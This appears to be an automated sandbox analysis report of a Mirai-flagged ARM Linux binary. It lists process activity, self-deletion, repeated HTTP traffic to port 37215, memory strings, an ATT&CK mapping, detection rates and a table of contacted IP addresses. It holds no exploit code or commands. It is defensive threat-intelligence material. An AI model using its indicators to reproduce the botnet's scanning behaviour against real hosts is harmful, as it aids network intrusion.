Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/1494/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/260/cmdline
Source: /tmp/bok.arm4.elf (PID: 6233)	File opened: /proc/261/cmdline

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/bok.arm4.elf (PID: 6225)

File: /tmp/bok.arm4.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33974
Source: unknown	Network traffic detected: HTTP traffic on port 37906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58884
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35924
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51354
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52496
Source: unknown	Network traffic detected: HTTP traffic on port 48346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 48346
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52674
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 43110
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52232
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56378
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 54424
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215

Source: bok.arm4.elf

Submission file: segment LOAD with 7.946 entropy (max. 8.0)

Source: /tmp/bok.arm4.elf (PID: 6225)

Queries kernel information via 'uname':

Source: bok.arm4.elf, 6225.1.0000559239103000.0000559239331000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: bok.arm4.elf, 6225.1.0000559239103000.0000559239331000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: bok.arm4.elf, 6225.1.00007fff62a23000.00007fff62a44000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: bok.arm4.elf, 6225.1.00007fff62a23000.00007fff62a44000.rw-.sdmp	Binary or memory string: Nx86_64/usr/bin/qemu-arm/tmp/bok.arm4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bok.arm4.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Obfuscated Files or Information	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bok.arm4.elf	25%	Virustotal		Browse
bok.arm4.elf	23%	ReversingLabs	Linux.Trojan.Mirai

Name	Source	Malicious	Reputation
http://upx.sf.net	bok.arm4.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	bok.arm4.elf, 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	bok.arm4.elf, 6225.1.00007fbe90017000.00007fbe90029000.r-x.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.15.176.249	unknown	South Africa	29975	VODACOM-ZA	false
41.186.122.25	unknown	Rwanda	36890	MTNRW-ASNRW	false
154.208.6.173	unknown	Seychelles	40065	CNSERVERSUS	false
102.92.82.227	unknown	Nigeria	37075	ZAINUGASUG	false
156.252.248.209	unknown	Seychelles	53587	AZTUS	false
197.225.3.101	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.68.176.212	unknown	Egypt	24835	RAYA-ASEG	false
102.100.91.163	unknown	Morocco	36925	ASMediMA	false
197.58.164.142	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.12.167.37	unknown	United States	55286	SERVER-MANIACA	false
102.70.3.64	unknown	Malawi	37294	TNMMW	false
156.230.19.162	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
102.76.124.241	unknown	Morocco	6713	IAM-ASMA	false
41.53.150.173	unknown	South Africa	37168	CELL-CZA	false
41.205.177.107	unknown	unknown	36974	AFNET-ASCI	false
197.44.30.166	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.172.105.135	unknown	Ghana	30986	SCANCOMGH	false
41.76.191.229	unknown	Kenya	37225	NETWIDEZA	false
156.83.202.14	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
154.238.173.206	unknown	Egypt	36992	ETISALAT-MISREG	false
41.131.206.203	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.180.156.40	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
154.45.54.149	unknown	United States	394973	AARKIUS	false
154.137.125.109	unknown	Egypt	37069	MOBINILEG	false
41.230.97.150	unknown	Tunisia	37705	TOPNETTN	false
102.223.137.3	unknown	unknown	328096	TruIT-Uganda-ASUG	false
197.191.86.152	unknown	Ghana	37140	zain-asGH	false
41.152.180.54	unknown	Egypt	36992	ETISALAT-MISREG	false
197.207.57.201	unknown	Algeria	36947	ALGTEL-ASDZ	false
102.39.2.24	unknown	South Africa	11845	Vox-TelecomZA	false
154.248.34.184	unknown	Algeria	36947	ALGTEL-ASDZ	false
102.189.179.190	unknown	Egypt	24835	RAYA-ASEG	false
156.159.153.5	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.234.45.9	unknown	Nigeria	29286	SKYLOGIC-ASIT	false
41.69.166.105	unknown	Egypt	24835	RAYA-ASEG	false
197.102.171.164	unknown	South Africa	3741	ISZA	false
197.43.225.162	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.244.252.216	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
156.13.131.16	unknown	New Zealand	22192	SSHENETUS	false
102.20.106.72	unknown	unknown	37054	Telecom-MalagasyMG	false
154.46.181.233	unknown	United States	174	COGENT-174US	false
197.222.122.254	unknown	Egypt	37069	MOBINILEG	false
41.228.223.102	unknown	Tunisia	37693	TUNISIANATN	false
41.101.160.215	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.228.223.104	unknown	Tunisia	37693	TUNISIANATN	false
41.115.248.58	unknown	South Africa	16637	MTNNS-ASZA	false
156.57.94.231	unknown	Canada	855	CANET-ASN-4CA	false
154.138.186.246	unknown	Egypt	37069	MOBINILEG	false
156.19.45.163	unknown	United States	20115	CHARTER-20115US	false
197.44.30.189	unknown	Egypt	8452	TE-ASTE-ASEG	false
102.238.170.160	unknown	unknown	36926	CKL1-ASNKE	false
102.20.131.234	unknown	unknown	37054	Telecom-MalagasyMG	false
41.145.178.44	unknown	South Africa	5713	SAIX-NETZA	false
102.171.69.12	unknown	Tunisia	37693	TUNISIANATN	false
197.224.88.168	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.31.148.1	unknown	Tunisia	37492	ORANGE-TN	false
156.69.160.242	unknown	New Zealand	297	AS297US	false
154.191.53.242	unknown	Egypt	8452	TE-ASTE-ASEG	false
102.49.146.60	unknown	Morocco	6713	IAM-ASMA	false
102.180.204.193	unknown	Burkina Faso	37577	Orange-BF	false
154.3.74.178	unknown	United States	174	COGENT-174US	false
197.21.65.71	unknown	Tunisia	37693	TUNISIANATN	false
41.157.30.78	unknown	South Africa	37168	CELL-CZA	false
102.123.192.249	unknown	Sudan	36972	MTNSD	false
197.226.240.74	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.134.83.87	unknown	United States	12217	UPSUS	false
154.74.136.186	unknown	Tanzania United Republic of	37035	MIC-ASTZ	false
102.19.228.39	unknown	unknown	37054	Telecom-MalagasyMG	false
197.220.166.155	unknown	Ghana	37341	GLOMOBILEGH	false
154.90.150.5	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
197.70.186.122	unknown	South Africa	16637	MTNNS-ASZA	false
197.252.28.241	unknown	Sudan	15706	SudatelSD	false
154.104.45.83	unknown	Tunisia	37693	TUNISIANATN	false
41.227.18.91	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
